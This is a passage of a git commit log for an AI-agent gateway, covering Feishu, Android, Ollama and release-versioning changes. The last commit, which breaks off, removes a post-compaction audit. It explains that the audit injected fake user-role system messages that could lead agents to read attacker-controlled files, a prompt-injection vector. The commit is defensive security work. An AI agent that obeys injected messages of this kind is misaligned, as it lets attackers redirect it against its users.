through processImages as expected.

* fix(feishu): address bot review feedback

- resolveUploadInput: remove length < 1024 guard on file path detection.
  Prefix patterns (isAbsolute / ~ / ./ / ../) already correctly distinguish
  file paths from base64 strings at any length. The old guard caused file
  paths ≥1024 chars to fall through to the base64 branch incorrectly.

- parseColorMarkup: add comment clarifying that mismatched closing tags
  (e.g. [red]text[/green]) are intentional — opening tag style is applied,
  closing tag is consumed regardless of name.

* fix(feishu): address second-round codex bot review feedback

P1 - Reject single oversized subtrees in batch insert (docx-batch-insert.ts):
  A first-level block whose descendant count exceeds BATCH_SIZE (1000) cannot
  be split atomically (e.g. a very large table). Previously such a block was
  silently added to the current batch and sent as an oversized request,
  violating the API limit. Now throws a descriptive error so callers know to
  reduce the content size.

P2 - Preserve unmatched brackets in color markup parser (docx-color-text.ts):
  Text like 'Revenue [Q1] up' contains a bracket pair with no matching '[/...]'
  closer. The original regex dropped the '[' character in this case, silently
  corrupting the text. Fixed by appending '|\[' to the plain-text alternative
  so any '[' that does not open a complete tag is captured as literal text.

* fix(feishu): address third-round codex bot review feedback

P2 - Throw ENOENT for non-existing absolute image paths (docx.ts):
  Previously a non-existing absolute path like /tmp/missing.png fell
  through to Buffer.from(..., 'base64') and uploaded garbage bytes.
  Now throws a descriptive ENOENT error and hints at data URI format
  for callers intending to pass JPEG binary data (which starts with /9j/).

P2 - Fail clearly when insert anchor block is not found (docx.ts):
  insertDoc previously set insertIndex to -1 (append) when after_block_id
  was absent from the parent's child list, silently inserting at the wrong
  position. Two fixes:
  1. Paginate through all children (documentBlockChildren.get returns up to
     200 per page) before searching for the anchor.
  2. Throw a descriptive error if after_block_id is still not found after
     full pagination, instead of silently falling back to append.

* fix(feishu): address fourth-round codex bot review feedback

- Enforce mutual exclusivity across all three upload sources (url, file_path,
  image): throw immediately when more than one is provided, instead of silently
  preferring the image branch and ignoring the others.
- Validate plain base64 payloads before decoding: reject strings that contain
  characters outside the standard base64 alphabet ([A-Za-z0-9+/=]) so that
  malformed inputs fail fast with a clear error rather than decoding to garbage
  bytes and producing an opaque Feishu API failure downstream.
  Also throw if the decoded buffer is empty.

* fix(feishu): address fifth-round codex bot review feedback

- parseColorMarkup: restrict opening tag regex to known colour/style names
  (bg:*, bold, red, orange, yellow, green, blue, purple, grey/gray) so that
  ordinary bracket tokens like [Q1] can no longer consume a subsequent real
  closing tag ([/red]) and corrupt the surrounding styled spans.  Unknown tags
  now fall through to the plain-text alternatives and are emitted literally.
- resolveUploadInput: estimate decoded byte count from base64 input length
  (ceil(len * 3 / 4)) BEFORE allocating the full Buffer, preventing oversized
  payloads from spiking memory before the maxBytes limit is enforced.  Applies
  to both the data-URI branch and the plain-base64 branch.

* fix(feishu): address sixth-round codex bot review feedback

- docx-table-ops: apply MIN/MAX_COLUMN_WIDTH clamping in the empty-table
  branch so tables with 15+ columns don't produce sub-50 widths that Feishu
  rejects as invalid column_width values.
- docx.ts (data URI branch): validate the ';base64' marker before decoding
  so plain/URL-encoded data URIs are rejected with a clear error; also validate
  the payload against the base64 alphabet (same guard already applied in the
  plain-base64 branch) so malformed inputs fail fast rather than producing
  opaque downstream Feishu errors.

* Feishu: align docx descendant insertion tests and changelog

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-28 09:58:56 -06:00
Chuan Liu
4ad49de89d feat(feishu): add parent/root inbound context for quote support (openclaw#18529)
* feat(feishu): add parentId and rootId to inbound context

Add ParentMessageId and RootMessageId fields to Feishu inbound message context,
enabling agents to:
- Identify quoted/replied messages
- Fetch original message content via Feishu API
- Build proper message thread context

The parent_id and root_id fields already exist in FeishuMessageContext but were
not being passed to the agent's inbound context.

Fixes: Allows proper handling of quoted card messages and message thread reconstruction.

* feat(feishu): parse interactive card content in quoted messages

Add support for extracting readable text from interactive card messages
when fetching quoted/replied message content.

Previously, only text messages were parsed. Now interactive cards
(with div and markdown elements) are also converted to readable text.

* 更新 bot.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* fix(types): add RootMessageId to MsgContext type definition

* style: fix formatting in bot.ts

* ci: trigger rebuild

* ci: retry flaky tests

* Feishu: add reply-context and interactive-quote regressions

---------

Co-authored-by: qiangu <qiangu@qq.com>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Co-authored-by: 牛牛 <niuniu@openclaw.ai>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-28 09:55:50 -06:00
Ayaan Zaidi
9b39490d6a fix: land android onboarding and voice reliability updates (#29796) 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
1d7b76a90e fix(android-voice): rotate playback token per assistant reply 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
addc619087 fix(android-voice): retry talk config after transient failures 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
930e94024a fix(android-voice): cancel in-flight speech when speaker muted 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
727ae469cf perf(android): reduce mic conversation update churn 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
3daed77ba9 fix(android): unify voice speaker gating and config refresh 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
72e135083a feat(android-voice): add speaker toggle in voice tab 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
fb92a91ef7 fix(android): speak final voice replies in mic capture flow 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
fcf3e5b0a0 fix(android): expose talk-mode assistant speech entrypoint 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
eea081c709 fix(android): update onboarding pairing commands 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
548a28a13f fix(android): request onboarding permissions per toggle 2026-02-28 20:05:59 +05:30
Ayaan Zaidi
f0c86039c7 fix: clarify outside-workspace fs-safe errors (#29715) (thanks @YuzuruS) 2026-02-28 18:08:10 +05:30
Ayaan Zaidi
44220ef24a test: add outside-workspace error mapping coverage 2026-02-28 18:08:10 +05:30
YuzuruS
d6552998e9 fix: handle outside-workspace error in media store
Address Greptile review: add explicit "outside-workspace" case to
toSaveMediaSourceError so it returns "Media path is outside workspace
root" instead of the generic "Media path is not safe to read".

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-28 18:08:10 +05:30
YuzuruS
f5c2be1910 fix: distinguish outside-workspace errors from not-found in fs-safe
When editing a file outside the workspace root, SafeOpenError previously
used the "invalid-path" code with the message "path escapes root". This
was indistinguishable from other invalid-path errors (hardlinks, symlinks,
non-files) and consumers often fell back to a generic "not found" message,
which was misleading.

Add a new "outside-workspace" error code with the message "file is outside
workspace root" so consumers can surface a clear, accurate error message.

- fs-safe.ts: add "outside-workspace" to SafeOpenErrorCode, use it for
  all path-escapes-root checks in openFileWithinRoot/writeFileWithinRoot
- pi-tools.read.ts: map "outside-workspace" to EACCES instead of rethrowing
- browser/paths.ts: return specific "File is outside {scopeLabel}" message
- media/server.ts: return 400 with descriptive message for outside-workspace
- fs-safe.test.ts: update traversal test expectations

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-28 18:08:10 +05:30
Ayaan Zaidi
150c2093fa test: make feishu proxy precedence assertion cross-platform 2026-02-28 17:14:45 +05:30
Ayaan Zaidi
89e158fc96 fix: harden azure custom-provider verification coverage (#29421) (thanks @kunalk16) 2026-02-28 15:58:20 +05:30
Kunal Karmakar
720e1479b8 Remove temperature 2026-02-28 15:58:20 +05:30
Kunal Karmakar
2258e736b0 Reduce default max tokens 2026-02-28 15:58:20 +05:30
Kunal Karmakar
2fe5620763 Fix linting issue 2026-02-28 15:58:20 +05:30
Kunal Karmakar
4ed12c18a0 Conditional azure openai endpoint usage 2026-02-28 15:58:20 +05:30
Kunal Karmakar
06a3175cd1 Fix linting issue 2026-02-28 15:58:20 +05:30
Kunal Karmakar
955768d132 Fix default max tokens 2026-02-28 15:58:20 +05:30
Kunal Karmakar
978d9ae199 Fix azure openai endpoint validation 2026-02-28 15:58:20 +05:30
Tony Dehnke
f1bf558685 fix(doctor): detect groupPolicy=allowlist with empty groupAllowFrom (#28477)
* fix(doctor): detect groupPolicy=allowlist with empty groupAllowFrom

The existing `detectEmptyAllowlistPolicy` check only covers
`dmPolicy="allowlist"` with empty `allowFrom`. After the .26 security
hardening (`resolveDmGroupAccessDecision` fails closed on empty
allowlists), `groupPolicy="allowlist"` without `groupAllowFrom` or
`allowFrom` silently drops all group/channel messages with only a
verbose-level log.

Add a parallel check: when `groupPolicy` is `"allowlist"` and neither
`groupAllowFrom` nor `allowFrom` has entries, surface a doctor warning
with remediation steps.

Closes #27552

* fix: align empty-array semantics with runtime resolveGroupAllowFromSources

The runtime treats groupAllowFrom: [] as unset and falls back to
allowFrom, but the doctor check used ?? which treats [] as authoritative.
This caused a false warning when groupAllowFrom was explicitly empty but
allowFrom had entries.

Match runtime behavior: treat empty groupAllowFrom arrays as unset
before falling back to allowFrom.

* fix: scope group allowlist check to sender-based channels only

* fix: align doctor group allowlist semantics (#28477) (thanks @tonydehnke)

---------

Co-authored-by: mukhtharcm <mukhtharcm@gmail.com>
2026-02-28 14:45:10 +05:30
Vincent Koc
5d51e99537 Changelog: add missing entries for #29279 and #29299 (#29579) 2026-02-28 00:03:44 -08:00
Vincent Koc
d123ade0cb fix(gateway): allow required Google Fonts origins in Control UI CSP (#29279)
* Gateway: allow Google Fonts stylesheet and font CDN in Control UI CSP

* Tests: assert Control UI CSP allows required Google Fonts origins

* Gateway: fix CSP comment for Google Fonts allowlist intent

* Tests: split dedicated Google Fonts CSP assertion
2026-02-27 23:58:51 -08:00
Vincent Koc
f810932859 Feishu: fix locale-wrapper post parser test (#29576) 2026-02-27 23:57:27 -08:00
Vincent Koc
b297bae027 fix(cli): allow Ollama apiKey config set without predeclared provider (#29299)
* CLI: seed Ollama provider on apiKey set

* Tests: cover Ollama apiKey config set path
2026-02-27 23:35:57 -08:00
Vincent Koc
7968c0f514 Changelog: add model fallback reasoning fix (#29285) 2026-02-27 23:30:27 -08:00
Ayaan Zaidi
3f056a7294 fix(android): block onboarding advance until special setup is complete 2026-02-28 12:29:52 +05:30
Ayaan Zaidi
cd61edb0f3 fix(android): add missing capability setup surfaces 2026-02-28 12:29:52 +05:30
Ayaan Zaidi
3899c89805 docs(changelog): add #29440 android notification wake notes 2026-02-28 11:18:01 +05:30
Ayaan Zaidi
6a16e7bb31 fix(gateway): skip heartbeat wake on deduped notifications 2026-02-28 11:18:01 +05:30
Ayaan Zaidi
a8bcad3db1 fix(gateway): canonicalize notification wake session 2026-02-28 11:18:01 +05:30
Ayaan Zaidi
f1bb26642c fix(gateway): scope notification wakeups to session 2026-02-28 11:18:01 +05:30
Ayaan Zaidi
9d3ccf4754 feat(gateway): enable Android notify + notification events 2026-02-28 11:18:01 +05:30
smthfoxy
5350f5b035 fix(tts): use opus format and enable voice bubbles for feishu and whatsapp (#27366)
* fix(tts): use opus format and enable voice bubbles for feishu and whatsapp

Previously only Telegram received opus output and had `shouldVoice=true`.
Feishu and WhatsApp also support voice-bubble playback and require opus audio,
but were falling back to mp3 with `audioAsVoice=false`.

- Extract VOICE_BUBBLE_CHANNELS set (telegram, feishu, whatsapp)
- resolveOutputFormat: return TELEGRAM_OUTPUT (opus) for all voice-bubble channels
- shouldVoice: enable for all voice-bubble channels, not just telegram
- Update test to cover feishu and whatsapp cases

* Changelog: add TTS voice-bubble channel coverage note

---------

Co-authored-by: Ning Hu <ninghu@Nings-MacBook-Pro.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 23:41:22 -06:00
laopuhuluwa
53a2e72fcb feat(feishu): extract embedded video/media from post (rich text) messages (#21786)
* feat(feishu): extract embedded video/media from post (rich text) messages

Previously, parsePostContent() only extracted embedded images (img tags)
from rich text posts, ignoring embedded video/audio (media tags). Users
sending post messages with embedded videos would not have the media
downloaded or forwarded to the agent.

Changes:
- Extend parsePostContent() to also collect media tags with file_key
- Return new mediaKeys array alongside existing imageKeys
- Update resolveFeishuMediaList() to download embedded media files
  from post messages using the messageResource API
- Add appropriate logging for embedded media discovery and download

* Feishu: keep embedded post media payloads type-safe

* Feishu: format post parser after media tag extraction

---------

Co-authored-by: laopuhuluwa <laopuhuluwa@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 23:39:24 -06:00
Jealous
b0a8909a73 fix(feishu): fix group policy enforcement gaps (#25439)
- Respect groupConfig.enabled flag (was parsed but never enforced)
- Fix misleading log: group allowlist rejection now logs group ID and
  policy instead of sender open_id
2026-02-27 23:39:21 -06:00
WilsonLiu95
8818464f5f feat(feishu): render post rich text as markdown (openclaw#12755)
* feat(feishu): parse post rich text as markdown

* chore: rerun ci

* Feishu: resolve post parser rebase conflicts and gate fixes

---------

Co-authored-by: Wilson Liu <wilson.liu@example.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 23:33:20 -06:00
Clawborn
49cf2bceb6 fix(feishu): handle card.action.trigger callbacks (openclaw#17863)
Co-authored-by: Kai <clawborn@users.noreply.github.com>
2026-02-27 23:24:11 -06:00
Tak Hoffman
60bf56517f fix(feishu): honor wildcard group config for reply policy (#29456)
## Summary
- honor Feishu wildcard group policy fallback via `channels.feishu.groups["*"]` when no explicit group entry matches
- keep exact and case-insensitive explicit group matches higher precedence than wildcard fallback
- add changelog credit and TypeScript-safe test assertions

## Verification
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Wayne Pika <262095977+WaynePika@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 23:22:38 -06:00
songlei
8a2273e210 feat(feishu): support optional header in streaming cards (openclaw#22826)
Add an optional `header` parameter to `FeishuStreamingSession.start()`
so that streaming cards can display a colored title bar, matching the
appearance of non-streaming interactive cards.

The Card Kit API already supports `header` alongside `streaming_mode`,
but the current implementation omits it, producing headerless cards.

This change is fully backward-compatible: when `header` is not provided,
behavior is identical to before.

Closes #13267 (partial)

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-27 23:21:22 -06:00
Colin Lee
0a23739c37 fix(feishu): pass proxy agent to WSClient for proxy environments (#26397)
* fix(feishu): pass proxy agent to WSClient for environments behind HTTPS proxy

The Lark SDK WSClient uses the `ws` library which does not automatically
respect https_proxy/HTTP_PROXY environment variables. This causes WebSocket
connection failures in proxy environments (e.g. WSL2 with a local proxy).

Detect proxy env vars and pass an HttpsProxyAgent to WSClient via the
existing `agent` constructor option.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): add generic type parameter to HttpsProxyAgent return type

Fix TS2314: `HttpsProxyAgent<Uri>` requires a type argument.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): wire ws proxy dependency and coverage

* chore(lockfile): resolve axios peer lock entry after rebase

---------

Co-authored-by: lirui <lirui@fxiaoke.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 23:15:11 -06:00
Menglin Li
4dc55ea88d fix(feishu): chunk large documents for write/append to avoid API 400 errors (#14402)
* fix(feishu): chunk large documents for write/append to avoid API 400 errors

The Feishu API limits documentBlockChildren.create to 50 blocks per
request and document.convert has content size limits for large markdown.

Previously, writeDoc and appendDoc would send the entire content in a
single API call, causing HTTP 400 errors for long documents.

This commit adds:
- splitMarkdownByHeadings(): splits markdown at # or ## headings
- chunkedConvertMarkdown(): converts each chunk independently
- chunkedInsertBlocks(): batches blocks into groups of ≤50

Both writeDoc and appendDoc now use the chunked helpers while
preserving backward compatibility for small documents. Image
processing correctly receives all inserted blocks across batches.

* fix(feishu): skip heading detection inside fenced code blocks

Addresses review feedback: splitMarkdownByHeadings() now tracks
fenced code blocks (``` or ~~~) and skips heading-based splitting
when inside one, preventing corruption of code block content.

* Feishu/Docx: add convert fallback chunking + tests

---------

Co-authored-by: lml2468 <lml2468@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 23:11:12 -06:00
BigUncle
27882dc73e feat(feishu): add quota optimization flags (openclaw#10513) thanks @BigUncle
Verified:
- pnpm build
- pnpm check
- pnpm vitest run --config vitest.extensions.config.ts extensions/feishu/src/config-schema.test.ts extensions/feishu/src/reply-dispatcher.test.ts extensions/feishu/src/bot.test.ts

Co-authored-by: BigUncle <9360607+BigUncle@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 23:05:54 -06:00
Rohin
e0b1b48be3 feishu: fall back to user_id for inbound sender identity (openclaw#26703) thanks @NewdlDewdl
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: NewdlDewdl <230946873+NewdlDewdl@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 22:59:42 -06:00
Ayaan Zaidi
f29c642c13 fix(release): enforce lane floor for calver appcast entries 2026-02-28 10:28:53 +05:30
Clawborn
10f1be1072 fix(feishu): replace console.log with runtime log for typing indicator errors (openclaw#18841) thanks @Clawborn
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Clawborn <135319479+Clawborn@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 22:57:16 -06:00
Shadow
a5b1e86535 chore: add fallback GitHub App token 2026-02-27 22:49:58 -06:00
YAXUAN
8beb048a84 test(feishu): add regression for audio download resource type=file (openclaw#16311) thanks @Yaxuan42
Verified:
- pnpm build
- pnpm check
- pnpm vitest run --config vitest.extensions.config.ts extensions/feishu/src/bot.test.ts extensions/feishu/src/media.test.ts

Co-authored-by: Yaxuan42 <184813557+Yaxuan42@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 22:49:05 -06:00
青雲
b28344eacc fix(feishu): insert document blocks sequentially to preserve order (#26022) (openclaw#26172) thanks @echoVic
Verified:
- pnpm build
- pnpm check
- pnpm vitest run --config vitest.extensions.config.ts extensions/feishu/src/docx.test.ts

Co-authored-by: echoVic <16428813+echoVic@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 22:48:14 -06:00
Ayaan Zaidi
83698bf13e fix(macos): derive canonical APP_BUILD after deps install 2026-02-28 10:04:25 +05:30
Ayaan Zaidi
af9edc98e4 fix(release): unify sparkle build policy and defaults 2026-02-28 10:04:25 +05:30
Logan Pritchett
3e55cc5811 appcast: fix sparkle version for 2026.2.26 2026-02-28 10:04:25 +05:30
Logan Pritchett
84adedd1cb macos: treat empty APP_BUILD as fallback 2026-02-28 10:04:25 +05:30
Logan Pritchett
0332dce203 macos: parse calver month/day as decimal for Sparkle build 2026-02-28 10:04:25 +05:30
Logan Pritchett
e4ee585b73 release-check: align appcast floor with Sparkle build lanes 2026-02-28 10:04:25 +05:30
Logan Pritchett
08fd579412 macos: make derived Sparkle build unique for same-day releases 2026-02-28 10:04:25 +05:30
Logan Pritchett
266f10d47d docs: clarify Sparkle build version policy 2026-02-28 10:04:25 +05:30
Logan Pritchett
3be12b9fc4 release-check: validate appcast sparkle version floor 2026-02-28 10:04:25 +05:30
Logan Pritchett
7237b4666b macos: make default Sparkle build version monotonic 2026-02-28 10:04:25 +05:30
longfros
6e645300a8 docs(feishu): clarify oc_ group allowlist vs ou_ command allowFrom for /reset (#26835)
* docs(feishu): clarify oc_* group allowlist vs ou_* command allowFrom

* docs(feishu): avoid direct edits to generated zh-CN docs

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 22:30:05 -06:00
Cassius0924
4f8a54eeaa docs: add cardkit permissions to Feishu channel setup (#9410)
- Add cardkit:card:read and cardkit:card:write to tenant scopes
- Format user scopes array for better readability
- Update both English and Chinese documentation

Co-authored-by: hezhizhou.606 <hezhizhou.606@bytedance.com>
2026-02-27 22:29:54 -06:00
傅洋
e4cb6a88be fix(feishu): handle message_type "media" for video downloads (openclaw#25502) thanks @4ier
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: 4ier <5648066+4ier@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 22:28:37 -06:00
Yihao
d9230b13a4 feat(feishu): skip reply-to in DM conversations (#13211)
In DM (p2p) chats, use message.create instead of message.reply
so that bot responses don't show a 'Reply to' quote. Group chats
retain the reply-to behavior for context clarity.

The typing indicator (emoji reaction on the user's message) is
preserved in DMs — only the reply reference in sent messages is
removed.

Changes:
- Add skipReplyToInMessages param to createFeishuReplyDispatcher
- In bot.ts, set skipReplyToInMessages: !isGroup for both dispatch sites
- In reply-dispatcher.ts, use sendReplyToMessageId (undefined for DMs)
  for message sending while keeping replyToMessageId for typing indicator
2026-02-27 22:24:42 -06:00
neverland
6a8d83b6dd fix(feishu): Remove incorrect oc_ prefix assumption in resolveFeishuSession (#10407)
* fix(feishu): remove incorrect oc_ prefix assumption in resolveFeishuSession

- Feishu oc_ is a generic chat_id that can represent both groups and DMs
- Must use chat_mode field from API to distinguish, not ID prefix
- Only ou_/on_ prefixes reliably indicate user IDs (always DM)
- Fixes session misrouting for DMs with oc_ chat IDs

This bug caused DM messages with oc_ chat_ids to be incorrectly
created as group sessions, breaking session isolation and routing.

* docs: update Feishu ID format comment to reflect oc_ ambiguity

The previous comment incorrectly stated oc_ is always a group chat.
This update clarifies that oc_ chat_ids can be either groups or DMs,
and explicit prefixes (dm:/group:) should be used to distinguish.

* feishu: add regression coverage for oc session routing

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 22:16:20 -06:00
Ayaan Zaidi
079bc24613 fix: add changelog entry for android capability parity (#29398) 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
1bc9da8f9e fix(android): stabilize motion sampling and gate pedometer command 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
18e7938dfd refactor(android): remove unreachable motion classify branch 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
943dce37be feat(android): wire new device capabilities into runtime 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
b9e474deb4 feat(android): add motion activity and pedometer handlers 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
f75385981a feat(android): add calendar capability handlers 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
81ebe7de46 feat(android): add contacts capability handlers 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
c8ad229776 feat(android): add photos latest handler 2026-02-28 09:27:54 +05:30
Ayaan Zaidi
f637cbd246 feat(android): add system notification handler 2026-02-28 09:27:54 +05:30
Haitian
107be4e909 feat(feishu): add global groupSenderAllowFrom for sender-level group access control (openclaw#29174) thanks @1MoreBuild
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: 1MoreBuild <11406106+1MoreBuild@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 21:49:47 -06:00
Tak Hoffman
aef5355102 fix(feishu): add reactionNotifications mode gating (openclaw#29388) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 21:47:12 -06:00
TIHU
0e4c24ebe2 fix(feishu): auto-convert local image path text to image message in outbound (openclaw#29264) thanks @paceyw
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: paceyw <44923937+paceyw@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 21:29:11 -06:00
Ayaan Zaidi
3f06693e7d refactor(android): share node capability and command manifest 2026-02-28 08:46:50 +05:30
tsu-builds
f53ef73a2b feat(feishu): add support for merge_forward message parsing (openclaw#28707) thanks @tsu-builds
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: tsu-builds <264409075+tsu-builds@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 20:57:18 -06:00
Lin Z
8241145ada feat(feishu): add reaction event support (created/deleted) (openclaw#16716) thanks @schumilin
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: schumilin <2003498+schumilin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 20:54:24 -06:00
Ayaan Zaidi
afa7ac1f68 docs: update changelog for telegram outbound chunking (#29342) (thanks @obviyus) 2026-02-28 08:13:59 +05:30
Ayaan Zaidi
2bef2910f1 fix: preserve whitespace in telegram html retry chunking 2026-02-28 08:13:59 +05:30
Ayaan Zaidi
69c39368ec fix: enforce telegram shared outbound chunking 2026-02-28 08:13:59 +05:30
Sid
4221b5f809 fix: pass rootId to streaming card in Feishu topic groups (openclaw#28346) thanks @Sid-Qin
Verified:
- pnpm check
- pnpm test extensions/feishu/src/reply-dispatcher.test.ts

Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 20:20:53 -06:00
Shawn
da00ead652 fix(feishu): parse code blocks and share_chat messages (openclaw#28591) thanks @kevinWangSheng
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: kevinWangSheng <118158941+kevinWangSheng@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 20:15:48 -06:00
kcinzgg
89669a33bd feat(feishu): add replyInThread configuration for message replies (openclaw#27325) thanks @kcinzgg
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: kcinzgg <13964709+kcinzgg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 19:53:02 -06:00
Vincent Koc
50aa6a43ed fix(model): preserve reasoning in provider fallback resolution (#29285)
* fix(model): preserve reasoning in provider fallback resolution

* test(model): cover fallback reasoning propagation
2026-02-27 17:38:22 -08:00
Vincent Koc
8090cb4c5e docs: missing changelog itesm (#29281)
* Changelog: add LanceDB custom baseUrl + dimensions entry (#17874)

* Changelog: add Ollama autodiscovery hardening entry (#29201)

* Changelog: add Ollama context-window unification entry (#29205)

* Changelog: add compaction audit injection removal entry (#28507)

* Changelog: add browser url alias entry (#29260)

* Changelog: add codex weekly usage label entry (#26267)
2026-02-27 17:31:09 -08:00
拐爷&&老拐瘦
36d69d05e2 feat(feishu): support sender/topic-scoped group session routing (openclaw#17798) thanks @yfge
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: yfge <1186273+yfge@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-27 19:26:36 -06:00
Vincent Koc
ed51796d97 fix(browser): accept url alias for open and navigate (#29260)
* fix(browser): expose url alias in tool schema

* fix(browser): accept url alias for open and navigate

* test(browser): cover url alias for open and navigate
2026-02-27 17:25:59 -08:00
Sid
e16d051d9f fix: label Codex weekly usage window as "Week" instead of "Day" (#26267)
The secondary window label logic treated any window >= 24h as "Day",
but Codex plans can have a weekly (604800s / 168h) quota window.
The reset timer showed "resets 2d 4h" while the label said "Day",
which was confusing.

Now windows >= 168h are labeled "Week", >= 24h remain "Day", and
shorter windows show the hour count.

Closes #25812

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-27 17:23:01 -08:00
Vincent Koc
f16ecd1dac fix(ollama): unify context window handling across discovery, merge, and OpenAI-compat transport (#29205)
* fix(ollama): inject num_ctx for OpenAI-compatible transport

* fix(ollama): discover per-model context and preserve higher limits

* fix(agents): prefer matching provider model for fallback limits

* fix(types): require numeric token limits in provider model merge

* fix(types): accept unknown payload in ollama num_ctx wrapper

* fix(types): simplify ollama settled-result extraction

* config(models): add provider flag for Ollama OpenAI num_ctx injection

* config(schema): allow provider num_ctx injection flag

* config(labels): label provider num_ctx injection flag

* config(help): document provider num_ctx injection flag

* agents(ollama): gate OpenAI num_ctx injection with provider config

* tests(ollama): cover provider num_ctx injection flag behavior

* docs(config): list provider num_ctx injection option

* docs(ollama): document OpenAI num_ctx injection toggle

* docs(config): clarify merge token-limit precedence

* config(help): note merge uses higher model token limits

* fix(ollama): cap /api/show discovery concurrency

* fix(ollama): restrict num_ctx injection to OpenAI compat

* tests(ollama): cover ipv6 and compat num_ctx gating

* fix(ollama): detect remote compat endpoints for ollama-labeled providers

* fix(ollama): cap per-model /api/show lookups to bound discovery load
2026-02-27 17:20:47 -08:00
fuller-stack-dev
70a4f25ab1 fix(security): remove post-compaction audit injection message (#28507)
* fix: remove post-compaction audit injection (Layer 3)

Remove the post-compaction read audit that injects fake system messages
into conversations after context compaction. This audit:

- Hardcodes WORKFLOW_AUTO.md (a file that doesn't exist in standard
  workspaces) as a required read after every compaction
- Leaks raw regex syntax (memory\/\d{4}-\d{2}-\d{2}\.md) in
  user-facing warning messages
- Injects messages via enqueueSystemEvent that appear as user-role
  messages, tricking agents into reading attacker-controlled files
- Creates a persistent prompt injection vector (see #27697)

Layer 1 (compaction summary) and Layer 2 (workspace context refresh
from AGENTS.md via post-compaction-context.ts) remain intact and are
sufficient for post-compaction context recovery.

Deleted files:
